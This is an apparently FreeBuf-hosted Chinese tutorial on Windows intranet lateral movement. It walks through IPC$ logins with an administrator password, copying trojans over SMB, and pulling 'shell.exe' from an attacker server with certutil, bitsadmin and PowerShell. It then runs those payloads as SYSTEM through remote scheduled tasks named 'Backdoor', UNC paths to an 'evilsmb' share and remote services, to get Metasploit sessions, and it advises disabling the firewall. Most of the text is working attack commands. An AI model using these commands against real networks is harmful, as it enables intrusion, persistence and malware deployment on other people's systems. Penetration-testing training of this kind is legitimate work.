quan9i
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
前言
本文旨在介绍内网横向的常见利用手法,希望能对初学内网的师傅有所帮助。
内网横向中的文件传输
通过网络共享
Windows系统中的网络共享功能可以实现局域网之间的文件共享。通过提供有效的用户凭据,用户可以轻松地将文件从一台机器传输到另一台机器。
执行net share
指令,获得Windows系统默认开启的网络共享
其中
C$为C盘共享
ADMIN$为系统共享目录
IPC$是共享"命名管道"的资源。
IPC,全称为Internet Process Connection
,是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
建立IPC连接需要有两个条件,具体如下
1、远程主机开启了IPC连接
2、远程主机的139和445端口开放
默认情况下Windows的IPC以及139、445
端口均是开放的,所以我们接下来来进行尝试连接。
连接指令如下所示
net use \\192.168.128.131\ipc$ "Qq123456." /user:"administrator"
此时就会以administrator
的身份登录到192.168.128.131
主机,其中,Qq123456.
为管理员密码。
此时可以发现连接完成,连接完成后,我们可以查看当前目录,也可以复制文件,具体指令如下
copy 1.txt \\IP\C$
//上传本机上的1.txt到目标机器的C盘下
dir \\IP\C$
//查看目标机器C盘下的文件目录
当然,也可以查看当前在运行的进程,检测是否存在杀软
tasklist /s 192.168.128.131 /u administrator /p Qq123456.
不过这个在有杀软的时候其实是执行不了命令的,执行dir
或copy
指令都会被检测出来,然后自动中断IPC连接(使用火绒的时候是这样),还有存在防火墙的时候是无法执行tasklist
的,所以记得执行命令前需要先关闭防火墙。
回到上文,既然可以上传txt文件,同理,我们可以上传exe文件,进而通过cs或msf等上线目标主机。
搭建SMB服务器
在实战环境下,如果我们不能连接目标主机的SMB服务,我们也可以在自己的服务器上搭建一个简易SMB服务器,将需要横向传输的文件(如木马文件)放入SMB服务器的共享目录,并指定UNC路径。然后通过操控目标主机连接服务器,使得目标主机可以加载SMB上的文件。
Linux搭建简易SMB服务器方式如下
首先下载Impacket
下的smbserver.py
脚本,其链接如下
https://github.com/fortra/impacket/blob/impacket_0_10_0/examples/smbserver.py
而后运行如下指令
mkdir /root/share
python smbserver.py evilsmb /root/share -smb2support
接下来共享目录evilsmb
就已经生成成功了,接下来执行连接指令
此时可以发现成功执行指令,接下来假设1.txt
是我们准备好的恶意文件,我们如何将他上传到目标主机呢,使用copy命令即可
copy \\IP\共享目录\文件名 2.txt
成功上传。
通过WIndows自带工具
Certuil
Certuil
是WIndows自带的命令行工具,用于管理Windows证书并作为证书服务的一部分安装。Certuil提供了从网络中下载文件的功能,我们可以在远程主机上执行Certuil
命令,控制其下载预先部署在服务器上的恶意文件,如木马文件。
执行具体命令如下
首先在服务器上开启http
服务,也可以用docker搭建ldap服务,这里方便起见,直接用python
起一个http服务
而后在目标主机上执行如下指令即可下载文件
certutil -urlcache -split -f http://192.168.1.1:8000/abc.exe C:\users\qwq\1.EXE
可以发现成功上传了文件
BITSAdmin
BITSAdmin是Windows命令行工具,可以用于创建、下载或上传作业,监视其进度,WIndows7及之后版本自带此工具,具体利用指令如下
bitsadmin /transfer test http://IP:Port/shell.exe C:\users\shell.exe
传输完成后即为上传完成
Powershell
指令如下
(New-Object Net.WebClient).DownloadFile('http://IP:Port/shell.exe','C:\shell.exe')
此时成功上传文件
创建计划任务
常规流程
我们可以通过已经建立的IPC连接,在远程主机上创建计划任务,进而让目标主机在规定的时间点或周期内执行特定操作。在拥有对方管理员凭据的条件下,可以通过计划任务实现横向移动,具体步骤如下:
1、利用已建立的共享连接向远程主机上传恶意文件(exe木马文件)
2、利用已建立的IPC连接或指定用户凭据的方式在远程主机上创建计划任务,执行指令如下
schtasks /Create /S IP /TN 计划任务名称 /SC minute /MO 1 /TR C:\shell.exe /RU System /F
#/S 要连接的系统 /TN 指定创建的计划任务名称 /SC 指定计划任务执行频率 /MO 指定计划任务执行周期 /TR 指定计划任务运行的程序路径 /RU 指定计划任务运行的用户权限 /F 如果指定的任务存在,则强制创建(覆盖)
注:如果没有IPC连接,在后面加上 /u 用户名 /p 密码 即可创建计划任务
3、立即启动该计划任务,其指令如下
schtasks /RUN /S IP /I /TN 计划任务名称
具体示例如下
首先上传恶意文件,我上文上传过了,所以这里不再演示,接下来创建计划任务,具体指令如下
schtasks /Create /S 192.168.128.131 /TN Backdoor /SC minute /MO 1 /TR C:\shell.exe /RU System /F /U Administrator /p Qq123456.
接下来执行计划任务,即可在攻击机上线
schtasks /RUN /S 192.168.128.131 /I /TN Backdoor
成功上线
也可以通过计划任务执行系统指令,将结果写入到文件中,然后通过type进行远程文件读取。
具体指令如下
schtasks /Create /S 192.168.128.131 /TN Backdoor2 /SC minute /MO 1 /TR "C\Windows\System32\cmd.exe /c 'whoami' > C:\result.txt" /RU System /F /U Administrator /P Qq123456.
接下来读取即可
type \\192.168.128.131\C$\result.txt
UNC路径加载执行
WIndows系统中使用UNC路径来访问网络共享资源,格式如下
\\servername\sharename\directory\filename
其中,servername是主机名,sharename是网络共享的名称,dircetory和filename分别为该目录下的目录和文件。
我们这里可以用自己的服务器来搭建SMB服务,并将恶意文件放置在SMB共享文件中,而后使用计划任务让目标主机访问即可。
实例如下:
首先搭建SMB服务,具体方式可参考上面搭建SMB服务器
目录下的内容,这里不再演示
搭建好之后即可在远程主机上创建计划任务,具体如下
schtasks /Create /S 192.168.128.131 /TN Backdoor /SC minute /MO 1 /TR \\192.168.1.4\evilsmb\abc.exe /RU System /F /U Administrator /P Qq123456.
此时提示创建成功,接下来开启在服务器开启msf监听
而后启动计划任务
schtasks /RUN /S 192.168.128.131 /I /TN Backdoor /U Administrator /P Qq123456.
此时即可成功上线
利用系统服务
创建远程服务
除了计划任务,我们还可以在远程主机上创建系统服务,进而运行指定的程序或命令,该方式需要拥有两端主机的管理员权限和IPC$连接,具体操作如下:
1、利用已建立的IPC连接向目标主机上传恶意文件
2、利用已建立的IPC连接在远程主机上创建系统服务
示例如下:
前文已上传过恶意文件,这里直接创建系统服务,具体命令如下
sc \\192.168.128.131 create Backdoor binpath="cmd.exe /k C:\abc.exe"
#binpath,指定服务启动时运行的二进制文件,注意"="后需要有一个空格
接下来运行指令,启动系统服务
sc \\192.168.128.131 start Backdoor
此时虽然提示错误,但在msf上已成功上线。
攻击成功后,将创建的服务删除,指令如下
sc \\192.168.128.131 delete Backdoor
畅读付费文章
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


